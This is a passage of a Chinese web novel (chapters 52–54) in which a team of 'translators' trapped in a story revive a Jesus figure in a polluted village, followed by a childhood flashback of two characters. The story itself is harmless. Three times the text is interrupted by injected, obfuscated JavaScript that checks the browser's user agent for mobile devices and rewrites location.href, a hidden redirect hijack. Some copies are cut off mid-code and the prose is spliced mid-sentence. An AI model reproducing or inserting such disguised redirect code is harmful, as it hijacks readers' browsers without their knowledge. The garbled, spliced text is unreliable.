他心里无奈:耶稣啊耶稣,你可把我们害惨了! “新记明呢?他怎么还没来?” 林清原疑惑地打量了一圈周围,终于看到在不远处的树后藏了个影子。 她走过去,问新记明:“你在这躲着干嘛?” 新记明一声不吭,鼓着脸,盯着林清原。 白仙贝和成柳走过来,看到这奇怪的一幕,不由得对视了一眼。 “怎么了?发生什么事了吗?”成柳问。 林清原把手伸到新记明眼前摇了摇: “喂,小新,你怎么不说话?” 新记明的眼里一瞬间蓄起了泪,然后下一秒,眼泪就如雨倾盆落下。 他抹着脸,哭的上气不接下气。胖胖的下巴肉堆在一起,随着抽噎的动作一收一缩的,像青蛙的肚子。 林清原盯着他的下巴肉,突然感觉有些熟悉,像是以前也见过似的。 “你怎么…你怎么可以不记得我了!” 新记明吼的撕心裂肺,令人心颤。 白仙贝颤颤巍巍地说:“小新哥……你的手好脏,脸都被摸脏了。” 新记明放下手,看到脏兮兮的手心,哭的更狠了。 他的脸已经被他的脏手摸的像个小花猫了,被停不下来的泪水一冲刷,更显狼狈了。 林清原听了这句痛诉,脑袋上缓缓冒出来一个问号。 “?你谁?你不是我万事屋的人吗?” 新记明哭的直抽抽:“谁、谁加入…嗝…加入你的……万事…屋了……嗝…” 白仙贝又和成柳悄悄对视了一眼,想说的话都在这个眼神里了。 这里面有隐情,对吧?一定是,对吧? 林清原狞笑:“行啊,既然你不是我的人,那我就抓你到我的万事屋打工!不给工资的那种!” 新记明流着眼泪瞪视:“你这个坏女人!我才不要加入你的万事屋!” 林清原忽然问:“哎,之前让你想的‘万事屋宣传语’,想的怎么样了?” 新记明的眼泪卡了一下壳。 成柳紧跟着打乱新记明的思绪,附和道:“对啊,新哥,这个艰巨的任务可是涉及到咱们万事屋以后的发展宣传啊!很重要的!你想的怎么样了?” 白仙贝如小鸡啄米般点头:“对呀对呀,小新哥,你之前不是答应了要想宣传语吗?” 比利也煞有介事的点了点脑袋。 新记明的脑袋乱乱的。 [哎?我之前答应了要想宣传语吗?好像没答应吧……不过我确实已经想好宣传语了……所以我其实是答应了?] 他嗫嚅着开口:“想好了……” 林清原露出一个大大的笑脸:“快说!” 新记明看着林清原的笑脸,觉得她真好看。 他好像没那么想哭了。 “上到UFO,下到小猫咪,万事屋全接应。” 林清原摸了摸下巴:“哎?还不错?” 白仙贝啪啪鼓掌:“不错不错,又短又好记!” 成柳也挺满意的:“可以,正好把咱们万事屋的业务给包齐了。我回去就改宣传语。” 比利响亮地叫了两声以示鼓励。 见新记明的情绪缓的差不多了,林清原直接带进正题: “好了。已经是第二次复活了,时间也过到了‘第三天’,就算‘快进’的时候不计算在‘故事’时间内,咱们剩下的时间也不多了,必须要速战速决。” 她语气凝重:“而且,我有足够的理由猜测,这回的复活,将是最后一次复活了。” 白仙贝问:“为什么?” “你们有谁见到这几次花瓶姑姑的脸了吗?”林清原问。 几人都摇头。 “只有第一次见到了。” 新记明灵光一闪,问:“三个花瓶姑姑?她们不是同一人?” 白仙贝还没反应过来。 林清原肯定地答道:“对。这三个花瓶姑姑,是三个人。” 白仙贝想起来这句话从哪听过了:“是资料里写的那个?在遏止花瓶姑姑这种恶性事件的时候,花瓶姑姑已经被供上了三个?” “对。在我们现在所处的‘时间线’上,花瓶姑姑已经是第三个了。前两个花瓶姑姑,在我们这具身体‘出生’前就死去了。”林清原冷静地说着她的分析。“我们的每一次‘出生’,都对应着一任花瓶姑姑。如果我们这次再度死去,那就不会再有第四个花瓶姑姑了,我们自然也不会再次复活了。” “原来如此……这就能解释通了。” 成柳一副顿悟的表情。 新记明问:“那你说‘我们这具身体’,是什么意思?我们不是自己变成的小孩?” “不觉得奇怪吗?为什么我们会被控制着走剧情?为什么我们会在关键时刻动弹不得?为什么从进入这次‘故事’起,每次复活——不,应该说‘出生’,都会有种无法掌控身体的感觉?” 林清原的脸上隐隐露出怒意:“那是因为从一开始,这就不是我们自己的身体!我们不过是被困在了这具小孩的身体里。所以在这次的‘故事’里,整个村子都找不出第五个小孩,连别的小鸡小狗都没有。这是‘故事’给我们的限制,也是给我们的误导!” 新记明皱眉:“以往的‘故事’并不会刻意对‘译者’造成误导,这是扭曲更加严重了吗?” 白仙贝不可置信地问道:“那这样的话,我们的行动受限,再次遇到和上两回一样的情况,不是还是死局吗?我们现在连为什么会触发‘快进’、又为什么会突然倒下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这话一出,几人都很惊讶。 比利“呜汪”地问他:怎么回事? 成柳问:“都没喝水吧?带汤的东西也没入口吧?” 白仙贝“啊”了一声。 成柳紧张极了:“你不会喝了吧?!” 白仙贝不好意思地挠了挠脸:“没有没有,就是我出门前,‘家里人’还端来了水让我喝,然后我就假装不小心打翻了杯子。” 成柳松了口气:“还好没喝。” 他给几人普及知识:“基督教中有一种仪式,叫做‘洗礼’。进行洗礼是为了清洗罪孽、真正加入基督教,一般表明自己是真心实意的信仰耶稣、愿意与耶稣共进退,即同死、同埋葬、同复活。 “而洗礼的方式分为三种:浸水礼、点水礼和洒水礼。总之都和水有关。我们进行的‘洗礼’,是‘喝水礼’。” 三人一狗:“?” “我本来只是每次都遇到了‘要喝水’这一桥段,想起‘洗礼’,才有所猜测。老大说了身体的事,我才意识到,‘洗礼’是为了让我们彻底与这具身体绑住,这样才能在保证耶稣死亡的时候我们也死亡。” 他说了个震惊所有人的猜想:“实际上整个村子里的人,都是与耶稣绑定的。一旦耶稣死去,所有人都会死。” 白仙贝消化了一会儿,理解了:“所以如果我们不喝水,就相当于没有接受‘洗礼’,也就没有彻底和这具身体绑在一起,也就不会随着耶稣的死而死掉?” 林清原泼了冷水:“额,这回应该没办法了。已经最后一次了。” 新记明点头:“耶稣毫无疑问是这次‘故事’的主角,他如果再次死亡,我们就算不会和他一起死,也不可能再等到下一次复活了。等待我们的只有被困在‘故事’里,二十小时的期限一到,还是会死。” 白仙贝哭丧了脸:“那这怎么办呀,到底要怎么样才能保证耶稣不死呢?” 成柳语气轻快:“让他诞生就好了啊。” 白仙贝:“???” 新记明不解:“耶稣还没诞生?” 林清原说:“是因为时间错乱吧。”她看向新记明,“你之前不是还在疑惑花瓶姑姑、打井这些事件的顺序很乱吗?如果时间是错乱的,那就解释通了。 “你以为的开始不是开始,而是结束;而你以为的结束,却是开始。” 白仙贝感慨:“还真的很像是楚大强村长说的,人的老年和幼儿时期,活到最后都一样呢。” 52. 循环 说到让耶稣“诞生”,成柳要讲的点就更多了。 “首先去找蛇。” “蛇在圣经里都是邪恶的存在,这回也要把它们全部杀死吗?”新记明问。 成柳“哎”了一声。 “蛇的存在不能只从圣经的方向想,我之前也是走入误区了。蛇在圣经里的象征意义比较单薄,但是它在其他宗教和传闻中的影响就深远的多了。 “比如在印度教和佛教里,蛇有‘轮回’、‘永生’的意思,在西方的炼金术里,也有‘循环’、‘无限’的意思。衔尾蛇,知道吗?嘴咬着尾巴的那个,就是很典型的例子。” 白仙贝说:“这个我知道,好多游戏里都有这个形象!” “对啦。所以本次‘故事’里的蛇,不能单看基督教的意思。上回新哥已经把蛇杀完了,最后耶稣死的时候,不是又出现了一堆蛇吗?虽然也可能是漏网之鱼,但是数量太多,出现的时机也太巧。综合考虑,只能是‘轮回的使者’。” “嗯,有道理。而且蛇和耶稣总是同时出现,找到蛇,应该就能找到耶稣。” 林清原问:“那怎么让耶稣诞生?” 成柳一摊手:“不知道。耶稣是由童贞女玛利亚生出来的,村里根本没有适龄女性,所以只能先找到再说。” 新记明问:“换个角度呢?不找耶稣诞生的母体,而找耶稣诞生的原因。”他看向成柳。“我记得耶稣诞生,是为了拯救世人苦难。以此类推,这里有什么苦难需要耶稣来拯救?” “治病?”白仙贝想起了村民们身上的鼓包。 林清原沉思了一下,想到了答案:“化肥厂!” “对啊,一开始就是因为有了化肥厂,才会导致土地作废、水质污染,然后村民生病了,才想着供花瓶姑姑的!”成柳越捋越顺。 “没错了,根源在化肥厂那里。正好我还要去那里采人面花,我先去那看看!” 成柳兴奋地蹦了老高,等反应过来,才发现其余几人都在用诡异的眼神盯着他。 比利吭哧吭哧地笑着,把头偏了过去,一副不忍直视的样子。 成柳摸了摸后脑勺,认命地叹了口气。 “唉,没办法,上一回结尾,耶稣说的那几句话影响太深了。” “什么什么小孩子?” 林清原问完,脑海中不由自主地回想起了耶稣说过的那三句话。 她并不能把那几句话完整记下来,但是仅仅只想到零星的片段,脑子就好像被圣言浸润了,逐渐放空了思绪,情绪也外露了。 “嘿嘿嘿。”她傻笑着。 “嘿嘿嘿。”白仙贝也跟着傻笑起来。 比利高兴地吐着舌头,跟喝醉了似的东倒西歪。 只有新记明没有傻笑。 他又在大哭了。 他的肉下巴哭的一鼓一鼓的,林清原一把揪住,哈哈大笑: “哈哈哈!胖青蛙!白肚皮!” 新记明脸憋得通红,嗷嗷哭喊:“林清原!你个大笨蛋!” 白仙贝站到另一侧,也捏住了新记明的下巴肉:“小鹤,青蛙肚皮好软哎!嘿嘿嘿!” 比利高傲地挪步,把这里当成了自己的舞台,忘人地施展歌喉。 成柳看着这副乱象,终于没忍住哭了。他边抽泣边崩溃地安抚同伴: “冷静!冷静啊!你们是成年人!不是真的小孩!还有比利!别唱了!可千万不能把村里人引过来啊!” 圣言的威力消退后,万事屋的成员全都跪在了地上,不敢抬头。 四人一狗沉默地盯着大地,想让无言的大地张开怀抱,把他们方才的行径尽数包容,沉埋深土;再让流连的冷风吹走他们的记忆,消灭此时的尴尬。 可是冷风只在大地上吹了一个小小的旋,飘起一些尘土,拍在他们脸上。 最后还是林清原率先当起了老大的表率。 她若无其事地站起身,拍了拍手和膝盖上的灰,说:“我想了想,大家还是兵分两路吧。一路去化肥厂,一路去找蛇。不论结果如何,一个小时之内,在池塘边集合。” 其他几人也若无其事地站起身,边拍去身上的灰,边同意了这个安排。 人员分配还是延续了最开始的方案,林清原和比利一组,剩下三人一组。 林清原抱着比利,飞快地把整个村子跑了个遍。 村子里没有,她又去了玉米地,依旧连条蛇影都没看见。 林清原不死心,放出比利,让它去循着记忆中的味道去找蛇。 比利一脸鄙夷:我看你是在为难我这只小狗。 不过鄙夷归鄙夷,它还是任劳任怨地去嗅奇怪的味道。 结果还是毫无收获。 林清原站在池塘边,有些茫然。 蛇消失了? 化肥厂那边有新记明他们在盯着,倒是不用担心。 离集合时间还早,林清原干脆找了个干净的地方坐下了。 她招呼比利:“oi!小狗!来给主人捏捏肩!” 比利看看右边,又看看左边,最后才看了自己。 它面无表情地抬头,圆溜溜的大眼睛里迸发出痛斥的利剑,毫不留情地扎向林清原。 林清原吊儿郎当地屈起一条腿,伸出手指勾了勾:“oi!小狗!你再不过来,我的手掌,蒲扇一样大,打到你的嫩屁股上,烤馕一样香喷喷的喔。” 比利猛扑上前,和林清原撕打在一起。 一人一狗你来我往,不甘示弱,动作利落,人闪狗避。 这场捍卫“主人尊严”和“狗子狗权”的战斗仿佛会一直持续下去,直到—— “你们怎么突然打起来了?” 林清原停下动作,对白仙贝笑道:“回来了啊,没事,就是在教训孩子……” 比利看准时机,扑到林清原的胸上,把她撞得坐在了地上。 随后把她的脸舔了个遍。 林清原仰天长啸: “比利——” 她难耐地闭了闭眼,疯狂给自己洗脑: 自家孩子,自家狗,自己不疼谁来疼。 比利使了坏后就屁颠屁颠的跑走了。 林清原悲戚地等到脸上的口水自然风干,才朝比利伸手: “乖孩子,到姐姐这来。” 比利一激灵,警惕地看过来:这家伙不以“主人”自居了,反而开始自称“姐姐”,绝对是要搞事情!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264356|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>正当它还在戒备的时候,新记明从它背后一把把它捞了起来,然后精准地扔到了林清原的怀里。 比利:“嗷呜汪!(叛徒!)” 林清原邪恶的大手在比利身上肆意揉搓,完全把小狗当做面团在整了。 等报复完毕,林清原神清气爽。 与此形成了鲜明对比的就是吐着舌头、翻着白眼的比利。 哦,可怜的小狗! 成柳走过来汇报他们在化肥厂的收获——那就是没有收获。 进不去化肥厂内部,也找不到蛇和耶稣的踪迹,唯一没什么变化的就是开的茂盛的人面花。 成柳摘了一部分炼完就回来了。 林清原挠了挠头,忽然发现新记明已经盯了池塘许久,不由问道:“发现什么了?” 新记明的眉头轻皱:“池塘下面好像有什么东西。” 几人凑近了去看,只看到了浑浊的池水,除此之外什么也没看到。 林清原不怀疑新记明的视力。她开始思考怎么把水底的东西搞上来。 “要不然我游下去看看,等上来了,贝贝帮我治疗一下。” 池塘受了废水的污染,指不定带有腐蚀作用,贸然进去很可能会受伤。更严重的情况,可能会引发身体上的鼓包——如同村民们那样。 这种时候,就体现了白仙贝的重要性。 平时看起来默默无闻,但只要有她在,她就永远是万事屋最强的后盾。 有了治疗能力,再难的险也有信心去试一试了。 “我知道了!” 成柳大喊一声,吸引了所有人的注意力。 “下面是耶稣!” 他已经很确信自己的推论,娓娓道来,浑身都散发着可靠的气质: “蛇代表循环、轮回,它在本次‘故事’里,当然不止有‘轮回复活’的意思。它还有一重意思,就是‘水的循环’。 “化肥厂需要大量的用水,它不仅抽取了大量的地上水,还抽了地下水,导致了池塘和井的枯涸。然后工业产生的废水,他们也没有按规处理排放,而是直接向外排出,这也就形成了现在我们看到的池塘——里面的水不是正常的水了,这是工业废水! “取水、排水,池塘又在村子和化肥厂的中点地带,这就是循环的中心!所以在水里的一定是耶稣!” 他补充道:“池塘和化肥厂的关系是我问了几回村里人推测出来的,可能并不准确,但也大差不差。” 林清原点点头:“那我去把耶稣带上来。” 比利拦在了她的身前,“汪汪”叫了几声,然后头朝着池塘的方向抬了抬。 林清原问它:“你确定?” 比利给出了肯定的答复。 于是林清原给众人分派了各自的任务: “比利去挖水渠,引池塘的水外流。小新你跟着比利,去规划引流的路线。贝贝你也跟着,随时辅助比利,保证他俩的安全。” 说完,她看向成柳:“阿柳,咱俩留在这里,讨论一下等会儿要如何令耶稣‘诞生’。” 成员们迅速行动起来。 比利的巨力面对任何地形都好用,它奔赴在挖土第一线,新记明指哪挖哪。 53. 译者 正当林清原和成柳热火朝天地讨论着的时候,从村里突然走出来了一大批村民,他们死气沉沉的,二话不说就拎着农具冲了过来。 林清原看了一眼已经初见成效的引流工程,侧身一跨,就挡在了村民面前。 没有了‘洗礼’的同化,林清原单独一人应对村民们一涌蜂的袭击是绰绰有余。 尽管她现在的身体的力量不够,不能将村民们直接踢得丧失行动能力,但保证让他们无法靠近池塘,还是轻轻松松的。 池塘里的水被引的差不多了,藏在水底之下的东西显露了真面目。 如推测一样,正是耶稣。 耶稣双手抱腹,平躺在地上。他面容苍白,表情平静,仿佛已经死去许久。 成柳跳了下去,汲着水走到耶稣身旁。 污水刺痛着他的皮肤,但他毫不在意,只专注地查看着耶稣的情况。 白仙贝见状,也跳了下来,用自己的治疗能力治疗着耶稣。 可是耶稣像是真正死去了一般,没有呼吸,也没有回应。 村民们被林清原拦着过不来,可时间在一分一秒地走着,拖的太久,最终还是会被困死。 成柳正在脑海中飞速想着对策,就听白仙贝唱起了歌。 “Idon''twantalotforChristmas……[1]” 一首唱了几句卡了壳,就换下一首唱。 “JingleBells,JingleBells……[2]” 成柳反应过来:“圣诞歌?” 他深吸一口气,唱起了更为传统的圣诞歌: “Silentnightholynight……[3]” 不同的圣诞歌掺杂在一起有些混乱,但是柔和欢快的曲调又很好地同步了差异。优美的歌声从二人喉间飞出,带着生的祈愿,和爱的呢喃,落入每个人的耳边。 耶稣就在这跃雀着幸福的祝歌中醒来了。 他棕色的眼眸温柔,如初春解冻的溪水,倒映着众人的身影;他嘴角漾起一抹纯净的笑容,将神圣的光辉洒满了沉淤的池塘。 “死亡不是终结,而是进入我的同在。[4]” 他用宽宏的圣言,迎接了他自己的新生。 无数条蛇从塘底的淤泥中钻出,缠住了他的双腿,打造成了一副“活蛇腿甲”,助他站起,走出这片池塘。 耶稣一步一步走向村民,在他们面前停下。村民们也停下了手中的攻击,默默看着他。 “凡劳苦担重担的人,可以到我这里来,我就使你们得安息。[5]” 村民们手中的农具接二连三的掉落。 他们激动地哭喊:“天神在上!天神在上!” 耶稣带领着村民们回到了村里,一路走到了祠堂,将花瓶姑姑从祠堂内抱出。 花瓶姑姑睁着血红的双眼,无声地瞪视着他。 耶稣的右手轻轻抚上花瓶姑姑的头,道: “你不要害怕,因为我与你同在;不要惊惶,因为我是你的神。我必坚固你,我必帮助你,我必用我公义的右手扶持你。[6]” 随着话毕,耶稣的双臂与双腿开始飞速地腐烂、断裂——他的脸上不见痛苦之色,反而是祥和的恬静。 而花瓶姑姑所在的花瓶,在一瞬间就裂开了大片的缺口。她跌滚在地上,却在下一秒,断口处飞速地长出了新的血肉,重塑了她的身体。 ——还未结束。 耶稣的身上长出了大片的鼓包,然后一个接一个地破开——村民们的身体也如耶稣这般变化,鼓包不再重藏于皮肤之下,而是一个接一个地破开了。 脓水从鼓包中流出——将耶稣的身体腐蚀,却将村民们的身体治愈。 “受难……”成柳语气沉重地吐出这个词语。 眼前的这一幕,不正是耶稣代人受难、拯救世人吗? 缠绕在耶稣身上的黑蛇开始逐渐死去,飘然落在地上,化作一层轻薄的脆皮——就像他本人的生命那样,逐步走向了消亡尽头。 “嘶,这样不行!”新记明倒吸一口凉气。 “耶稣不能死!他死了,我们也出不去了!” “不行。”成柳神情紧绷。“耶稣受难是必然的、不可更改的。我们无法对其进行干涉。” 新记明飞快地冲过去,又飞快地回来了。 ——他在一刹那间使出了“凌雪剑招”,刀影划过黑蛇和耶稣,没有任何回馈,仿佛那里空无一物。 成柳说的是对的。 耶稣受难是必然的、不可更改的。他们无法对其进行干涉。 “既然这样,”林清原看向成柳,“之前说到一半的那个办法,好像成了唯一的办法了呢。” 成柳憋了口气,又释然地吐出。 “好。那就——造神吧。” 白仙贝茫然:“什么造神?” 成柳迅速摆开了一堆东西,又不知道从哪掏出来一根笔,蹲身在地上画了起来。 繁复的线条从他的笔下绘出,组成了一个精美的圆阵,上下都有一条衔尾蛇。圆阵外围又分布了四个如复制粘贴的小圆,互相被线条拉着,共同合成了一个大圆。 “这是炼金术里的‘逆转’和‘造神’阵,我试着合编了一下,加上我的能力,应该能起作用。” 说着,成柳又一次动用了能力,黑纹再次自身上显现。 “快!各自站到小圆里!” 几人听话地站定,伸出手臂,将手依次叠在了一起,延长的臂膀,正如交叉的十字。 比利就坐在十字的中心点,作为承输法力的核心,望向耶稣。 黑色的光雾自法阵中翻涌而出,如粘稠的潮水般笼住众人。 这边,他们虽被黑雾吞噬,面容却诡异地映着一层银白色的亮光——那光并非来自外界,而是从他们的眼底、嘴角、甚至皮肤的纹路中渗出,仿佛体内有什么东西正在燃烧,将黑暗逼退成一层透明的茧。 而那边,耶稣站立的地方,他的身躯明明披覆着耀眼的金色光芒,甚至连续的腐蚀也不能盖过那圣洁的光晕,可他的脸却似笼罩在灰暗的阴影中,呈现出一种腐朽的铅灰色,如同即将破碎的石像。 小小的院子此刻被无形的分界线分成了两个世界,两边并立,互相争夺着同一个命题——生命。 你救世人,我们就救你,也救自己。 林清原就在此刻开口,她的声音自信平稳,给予了所有人安定: “这个阵法一定能起作用。因为这是‘故事’,我们不用纠结一定要找到答案,只需要让逻辑通顺就够了。换句话说—— “故事由我们谱写,我们是‘译者’,是‘故事’中的角色,也是掌控‘故事’的角色。” 耶稣的嘴角微微勾起,弧度很浅,却如黎明前刺破黑暗的第一缕微光。他偏过头,与比利对视,星光在他的眼中重新亮起。 世人如爱子,一行一措,皆为乳羔顶角;秽言痛辱,亦与牙牙学语无异。 耶稣早已接受自己为世人牺牲的命运,从不抱怨,也从不求其他,因为这是他生来便要做的,这是诞生自天地间的最沉重也最纯粹的使命。 然而乳羔会成长,稚语亦会熟思。昔日的水滴,已化作涌泉。 耶稣终于在此刻,接受了自己被他们拯救的命运。 生命的转换到了最后的时刻,整个院落被奇异的光彩笼罩。 耶稣的身体泛出了前所未有的光芒,那并不是单纯的明亮,而是蕴含着普世的圣意,渡到了这个世界的每一个角落,就连成柳那因为动用能力而急速缩小的的身体,也随之停止了变化。 他的每一声叹息,都化作了悠扬的圣歌,跳跃在万物身边,唱响着神的慈爱。 在这场盛大的救赎中,远处的化肥厂如被重锤敲下,高耸的烟囱最先折断,似被收割的玉米秆般缓缓倾倒,带着剩下的巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在不仅是UFO内的“故事”融合了现实故事了,UFO内的“故事”,正在真正的和现实世界融合! 村长推门进来了。 他不像林清原等人重新变回了原来的身体,他此时还是小孩的身体。 他问:“官老爷,飞盘不见了,事情调查的有啥子结果了吗?” 成柳问了一个问题:“村长,你们以前信的基督,有什么关于小孩的教义吗?” 村长咧嘴笑了,他的面容在此刻竟真显出了几分孩童的天真: “要像小孩子学习啊,要有他们那样纯真的心思,才能从痛苦里解脱出来,去天国啊。” 成柳低低地将原句念了出来:“凡要承受神国的,若不像小孩子,断不能进去。[8]” 林清原简易地宽慰了一下村长,说事情已经解决,只是他们身体的变化可能暂时还无法解除,之后会有专业的医疗团队过来接他们医治。 村长连连道谢后离开了。 白仙贝看着小村长离开的背影红了眼眶。 “没用的。他们不是真的变小了,他们的身体寿数还在增长,甚至因为这种奇特的变化,让他们的生命更进一步的加速了。我能感觉到。” 但是这话,她不能告诉村长。更多的细节,她也受着“故事”的限制,没法说出口。 林清原拍拍她的肩:“事在人为。” 等新记明和官方联系完毕,林清原问他: “现在你是正式加入‘万事屋’了吧?” 新记明脸色微变,还没回答,就见林清原眯了眯眼睛,露出了一个让他预感不妙的笑容。 “怎么,以前你不是最想加入我的队伍了吗?圆柱?” 54. 小时候 烈日骄阳,学员在训练场上尽情挥洒汗水。舞剑声整齐划一,为夏日的燥热送出一阵阵清凉的剑风。 在偏侧的树荫下,五岁的林清原正仰头看着树上,似乎在寻找着什么。 时不时一声稚嫩的猫叫从茂密的树叶中传出,林清原左瞧右瞧,还是没看到树上的小猫在哪。 她的个子比同龄的小孩都要高,但是再怎么高,此时也只有五岁,萝卜头一个。 想了想,她干脆双手攀上树干,脚蹬着,尝试往树上爬。 这是她第一次爬树,爬的很不顺利,粗糙的树皮把她的皮肤划的生疼,掉下来也摔的屁股痛。 但是! 这一切都难不倒天才林清原! 在经历了三次失败后,她终于找到了合适的发力点,凭借着自己从小练武的力量,一跳一跳的就爬上了树。 上到了树上,就能看清小猫了。 小猫是个黑白相间的,刚出生一个月左右,浑身绒毛还在炸着。见到树干上爬上来一个陌生人,小猫吓得往树叶深处躲,差点就要摔下去。 林清原赶忙“喵喵”叫,安抚住了小猫。 小猫这么小,也不知道怎么上来的。 林清原想把它抱下去,但是小猫防备心很重,无法靠近,最终只能僵持在树上。 林清原:“喵。” 小猫:“喵!” 林清原:“喵~” 小猫:“喵!” 树下:“喵喵!” 林清原探头去看,和一个抱着梯子的女孩儿对上了视线。 树下的女孩儿也四五岁年龄,胖胖的,穿着粉粉嫩嫩的小裙子,吃惊地仰着头。 林清原正欲打招呼,身旁的小猫就撕心裂肺地叫了起来。 树下的小女孩儿急了,把梯子往树上一靠,就哆哆嗦嗦地爬上来了。 林清原好心地帮她扶了下梯子。 小猫还是怕人,但是似乎认识这个新上树的女孩儿。在对方温声细语的轻哄下,小猫慢慢走了过来,被小女孩儿抱在了怀里。 小女孩儿抱到小猫后松了一口气,想要下树时却愣住了。 她尝试了几个姿势,却始终因为怀里抱着小猫,而不得轻松。 她可怜兮兮地看向了林清原。 林清原看了一眼她瑟瑟发抖的腿,叹了口气,无奈道: “上来。” 林清原背对着女孩儿,手朝后扬了扬。 女孩儿犹豫了下,一手抱着小猫,一手攀上了林清原的背。 “你可要抓紧了。” 林清原叮嘱了一句,就把一只手带上了女孩儿的腰。 她没忍住捏了捏。 女孩儿肉肉的,腰间的肉也软软的,捏起来像蓬松的面包,手感很舒服;不过最舒服的还是女孩儿搭在林清原肩膀上的下巴肉,层层叠叠的,又鼓又软和,随着呼吸一颤一颤的,像青蛙肚子。 小女孩儿紧张地绷紧了身体。 林清原看了眼距地的距离,便一手扶着梯子借了一下力,脚下一跳,跳到梯子中央,停留了不到半秒就轻巧地落到了地上。 整个过程不到两秒钟。 非常迅速又完美……稍微有一点点不完美的下树行动! ——林清原落地的时候,本来已经保持好了平衡,奈何背后的小女孩儿太重,还是被带的趔趄了一下,双双摔了个屁股蹲。 小猫受了惊吓,匆匆逃走了。 女孩儿无助地伸手,还是没能换来小猫的回眸。 女孩儿泪眼朦胧地看着林清原。 林清原小手一挥:“别哭!你想要小猫,我给你抓回来!” “不是……”女孩儿吭哧吭哧地说,“你压在我身上,我喘不过气……” 林清原不好意思地从小女孩儿身上爬开。 缓过气来的小女孩儿和林清原都不嫌地上脏,直接就地坐着,边听着远处的练功声,边聊起了天。 “这小猫是你养的吗?” “不是,小猫是流浪的猫妈妈生的。不过说是流浪,其实也在被场里的大家喂着,三餐不愁,也有固定的居所,只是不被房子所束缚罢了。” “那应该很亲人吧?” 小女孩儿笑得眼弯弯:“是啊,我可以带你去看看猫妈妈,它还生的有别的小猫,都好可爱的!” 她叹了口气。“本来我今天就是去喂猫妈妈和它的几只小猫的,结果这只小猫胆子太小,被汽车吓到了,才跑走的。我来追它,就发现它躲树上去了。” “汽车?”林清原环视一圈,“我记得这里的广场不是禁止汽车通行吗?” 小女孩儿提起这件事就一肚子气:“还不是那个林家!” “林家?”林清原扬眉。 小女孩儿握紧拳头。“就那个‘飞鹤腿林家’啊!他们今天一家子都过来了,开着汽车从门口进来后,就穿过了过道,才把小猫吓着的!可恶的林家!” 林清原也握紧了拳头:“那和林家没关系吧?毕竟新家只规定了广场禁止汽车通行,林家走的过道也是按原定路线走的啊?” 小女孩儿的脸微不可见地变红了。她结结巴巴地说:“那…那也是林家的错!”她顿了一下,又找补道:“虽然……虽然平时过道也会有汽车经过,可是偏偏今天猫妈妈带着小猫们去过道那边玩了,林家也偏偏今天来了,可不就是林家的错嘛!” 林清原一把捏住了小女孩儿的三层下巴肉:“把错推到毫不相干的林家身上,你个坏蛋!” 小女孩儿疼得眼泪汪汪的。 “对不起……” 见小女孩儿道歉了,林清原就放过了她。 小女孩儿噘着嘴问:“你认识林家的人吗?” 林清原站起身,拍了拍屁股上的灰,露出了一个灿烂的笑容: “哈!我正是林家第六代少掌门林清原,字鹤!” 小女孩儿目瞪口呆,一脸的不可置信。 林清原问她:“你呢?你是谁?你既然出现在这里,难道是新家的人吗?” 小女孩儿站起身,鼓足气势和林清原对视。 然而小女孩儿此时的身高足足比林清原低了一个头,再怎么摆出气势也没有威慑力。 小女孩儿刚要开口说话,就听林清原自顾自的分析: “难道你是新家的小孩?不对啊,我记得新家只有一个少掌门,叫什么来着?新明?” 小女孩儿咬牙:“是新记明!” “哦对,新记明!‘记住明阿姨’,我喜欢这个名字!” 小女孩儿刚抿嘴浅笑了一下,林清原就接着疑惑: “不过我记得新记明是个男的啊!也不知道他具体什么样子,听说他心地善良,学习优异,温和有礼……” 林清原面上尽是跃跃欲试的神情。 “真想和他打一架!看看他是不是真的是那么温和!哈哈,被我打败之后,说不定就丢了礼貌呢!” 她笑着看向小女孩儿:“所以你是新家的谁啊?带我去找新记明吧?” 小女孩儿面色一僵,她的眼珠飞快转动,心里尖叫: [这个林清原果然如父亲所说是林家的人!都是一群莽夫!完了!我肯定不能说我就是新记明了!不然刚被她看过狼狈的样子,知道了我的真实身份,肯定要被狠狠嘲笑了!] 小女孩儿——新记明,他紧张地说出了自己的小名: “我……我叫圆柱,是新记明的远房表妹。” “新圆柱?”林清原重复了一句,点点头:“嗯!很壮实的名字!好听!” “新记明他今天作业很多,一直待在房间里,就不要去打扰他了。” 新记明赶忙转移了话题:“我带你去看小猫们吧!” 林清原开开心心地跟着新圆柱跑去玩了。 两个小孩之间的友谊来的快,矛盾也去的快,她俩在猫咪们的陪伴下,很快就成了好朋友。 “感觉养猫猫还挺好的。” 林清原抚摸着软乎乎的小猫,感慨道。 新圆柱说:“那你挑一只带走回去养吧。” 林清原思考了一下,还是摇了摇头。 “不啦。我打算长大了养只狗狗。” 新圆柱不解:“为什么要长大了养呢?而且猫猫不好吗?为什么要养狗狗?” 林清原说:“我太小了,不论是养猫猫,还是养狗狗,都没法自己照顾。我还要每天练武,还要每天练字,好辛苦。等我长大了,就能照顾它们了。”她的眉头蹙在一起,“而且狗狗更乖,还能教它武功一起打架。” 新圆柱为猫猫正名:“猫猫也很乖啊!比狗狗更乖!” 他伸手招呼猫妈妈,猫妈妈听话地凑了过来,贴在他的手下,享受地打着呼噜。 他又伸手招呼小猫们,小猫们跳成一团,玩起了躲猫猫。 新圆柱尴尬地笑了笑:“瞧,猫猫多可爱啊!” 林清原咧出一个大大的笑容:“对啊,狗狗多乖啊!” “猫猫更乖!” “狗狗更乖!” 